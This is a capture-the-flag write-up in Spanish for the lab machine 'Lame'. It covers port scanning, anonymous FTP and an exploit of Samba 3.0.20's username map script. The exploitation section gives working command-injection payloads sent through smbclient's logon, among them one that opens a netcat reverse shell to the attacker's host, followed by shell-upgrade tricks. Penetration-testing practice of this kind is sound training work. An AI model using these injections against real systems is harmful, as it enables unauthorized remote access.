Lame

Resolution summary
- Busqueda puertos abiertos
- Login anonimo con FTP y ver que no tiene archivos ni los podemos subir
- Buscar vulnerabilidades FTP
- Buscar vlnerabilidades Samba 3.0.20
- Explorar archivo metasploit
- Ejecutarlo a mano
- Ganar acceso
Improved skills
- searchsploit
- mejorar shell
Used tools
- nmap
- smbclient
- searchsploit
- stty raw -echo; fg
Information Gathering
Scanned all TCP ports:
1
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.4.93 -oG allPorts
Extract all ports:
1
extactPorts allPorts
Enumerated open ports:
1
nmap -sCV -p 10.129.4.93 -oN targeted
Enumeration
Port 21 - FTP vsftpd 2.3.4
Encontramos el puerto 21 abierto y que nos indica que tiene Anonymous login. 
Hacemos login anonimo en [[FTP]] con:
1
ftp 10.129.4.93
Como usuario ponemos anonymous y contraseña damos al enter directamente. Vemos que si listamos con ls no nos muestra nada. Con ls -la nos muestra que esta vacio. Si creamos un archivo para intentar subirlo…
1
nano texto.txt
Y en el ftp:
1
put texto.txt

Vemos que no tenemos capacidad de escritura y no podemos subir el archivo. Vamos a probar a buscar en searchsploit por la version del vsfftpd
1
searchsploit vsftpd 2.3.4

Localizamos el archivo python y nos le movemos al directorio de exploits.
1
2
locate 49757.py
cp /usr/share/exploitdb/exploits/unix/remote/49757.py
Ejecutamos el archivo con :
1
python3 49757.py
Y vemos que no funciona ni conseguimos nada, asi que puede que sea un rabbit hole y no nos funcione. Probamos con otro puerto.
Port 445 - Samba smbd 3.0.20
Observamos que es una version de [[Samba]] asi que la buscamos en searchsploit con :
1
searchsploit Samba 3.0.20
Obtenemos:

La que mas nos llama la atención es en .rb es decir en Ruby por lo que es una herramienta de metasploit. Aunque para el OSCP no podemos usar metaspolit podemos revisar el código del exploit para ver que contiene y si podemos explotarlo nosotros solos.
1
2
locate 16320.rb
cp /usr/share/exploitdb/exploits/unix/remote/16320.rb .
Hacemos cat para leerlo. Para leerlo en colores correspondientes al lenguaje:
1
bat 16320.rb -l ruby
Observamos como interesante lo siguiente:

Vemos que nos resulta bastante interesante la manera en la que se autentifica con el /=nohup /=nohup se suele emplear cuando a la hora de inyectar un comando cuando nos otorgamos una rever shell, cuando nos mata la sesión. Antes de que nos mate la sesión si tu la reverse shell la lanzas ocn un nohup a la izquierda del todo, antes de mandarle el nc /bin/bash o lo que corresponda. Con eso ya deberíamos tener la rever shell sin perder la sesión. Aunque no siempre funciona.
Primero vamos a probar a ver si podemos listar los recursos compartidos a nivel de red de este servidor con un Null sesión. [[SMB]]
1
smbclient -L 10.129.4.93 -N
Si buscamos este error en google, nos dirán que podemos hacer para solucionar este pequeño problema.
Encontramos una posible solución que es añadir la opción client min protocol = NT1, entonces el comando quedaría así:
1
smbclient -L 10.129.4.93 -N --option 'client min protocol = NT1'
Y funciona:

Exploitation
User Map Script
Ahora que hemos visto los recursos compartidos vamos a intentar conectarnos a uno, probaremos con tmp:
1
smbclient //10.129.4.93/tmp -N --option 'client min protocol = NT1'
Vemos que si que podemos acceder a ello. Tal y como hemos visto en el exploit,
1
username = "/=`nohup " + payload.encoded + "`"
Esto nos indica que si ponemos el usuario seguido del payload y cerramos, podamos ejecutar esos comandos. Probemos con un whoami Para iniciar sesion tenemos el comando logon en smb
1
logon "/=`nohup whoami | nc 10.10.14.48 4567`"
nos ponemos en escucha por tanto en el Puerto 4567:
1
nc -nlvp 4567
Nos pedira una contraseña pero ponemos cualquiera:
Y en el netcat obtenemos…

Podemos probar tambien si estamos dentro de la maquina que queremos atacar con este comando:
1
logon "/=`nohup ifcofig | nc 10.10.14.48 4567`"
nos ponemos en escucha por tanto en el peurto 4567:
1
nc -nlvp 4567
Como vemos que si que obtenemos la misma IP y por tanto es la maquina que queremos atacar directamente pasamos una [[reverse shell]]: Nos ponemos en escucha con [[netcat]]
1
nc -nlvp 4567
Y ponemos:
1
logon "/=`nohup nc -e /bin/bash 10.10.14.48 4567`"
Y en la pestaña de la Reverse shell obtenemos acceso a la maquina. Como la consola es mala nos la vamos a mejorar lanzando una pseudo consola:
1
script /dev/null -c bash
La consola mejora pero no podemos hacer ctrl + L y si hacemos ctrl + C nos cargamos la [[Reverse shell]] si ponemos :
1
echo $SHELL
Observamos la variable de entorno shell que es correcta pero la variable de entorno TERM no:
1
echo $TERM
Ahora lo vamos a cambiar. Nos salimos con ctrl + Z Y ponemos el siguiente comando. Siempre que ganamos acceso a un sistema ponemos este comando
1
stty raw -echo; fg
==Y aunque no nos aparezca para escribir ponemos==
1
reset xterm
Y ya tenemos nuestra Reverse shell con la posibilidad de hacer ctrl + C
Ahora navegamos a /home/makis y ahi obtenemos la user flag Tambien podemos obtenerla directamente, aunque no siempre funciona, con:
1
find \-name user.txt | xargs cat
Como somos usuario root, lo podemos comprobar con whoami Navegamos a por la flag root. Localizamos con locate root.txt o con el comando anterior pero adaptandolo y nos movemos a ese directorio.
Privilege Escalation
Ya somos usuarios root no hace falta escalar privilegios.
Trophy & Loot
user.txt ==f51b25a33076c1723054b17761414b47== root.txt ==bff3c645765e55a5954ab3ced2ce9892==